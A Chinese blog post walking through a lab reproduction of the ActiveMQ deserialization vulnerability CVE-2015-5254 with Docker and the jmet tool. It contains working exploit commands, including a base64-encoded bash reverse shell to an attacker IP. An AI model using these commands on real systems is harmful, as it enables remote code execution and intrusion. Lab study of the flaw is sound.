1. 程式人生 > 其它 >ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ反序列化漏洞(CVE-2015-5254)

0x01漏洞概述

ActiveMQ Web控制檯分為三個應用程式,admin,api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;管理員和 API 需要先登入才能使用,檔案伺服器不需要登入。

fileserver 是一個 RESTful API 介面。我們可以通過HTTP請求(如GET,PUT和DELETE)讀取和寫入儲存在其中的檔案。設計目的是補償訊息佇列操作無法傳輸和儲存二進位制檔案的缺陷,但後來發現:

(1)其使用率不高

(2)檔案操作容易出現漏洞

​因此,ActiveMQ預設在5.12.x—5.13.x中關閉了檔案伺服器應用程式(您可以在conf/jetty.xml中開啟它);在 5.14.0 之後,檔案伺服器應用程式將被完全刪除。在測試過程中,要注意ActiveMQ的版本,防止無用的費力。

0x02漏洞環境

1、開啟漏洞環境

docker-compose up -d

2、訪問漏洞

​監聽8161和61616兩個埠,61616埠是工作埠,訊息在這個埠進行傳遞;8161是網路管理頁面埠訪問。

http://your-ip:8161

賬號:admin
密碼:admin

3、復現完成後,刪除漏洞環境

docker-compose down

0x03復現過程

1、漏洞利用工具下載地址:

Jmet下載地址

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

2、在攻擊機器上下載jmet檔案,在同級目錄下新建external資料夾

執行下列程式碼:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

執行結果如下:

執行成功之後,此時會給目標ActiveMQ新增一個名為event的佇列,看到該列的所有訊息,訪問這個網站:

http://your-ip:8161/admin/browse.jsp?JMSDestination=event

3、在kali中執行

sudo docker-compose exec activemq bash  

然後執行

ls /tmp

4、將命令替換成彈shell語句再利用

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjE4LjI0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME your-ip 61616

執行結果如下:

利用靶機訪問該路徑:

http://127.0.0.1:8161/admin/browse.jsp?JMSDestination=event

結果如下:

再次執行:

ls /tmp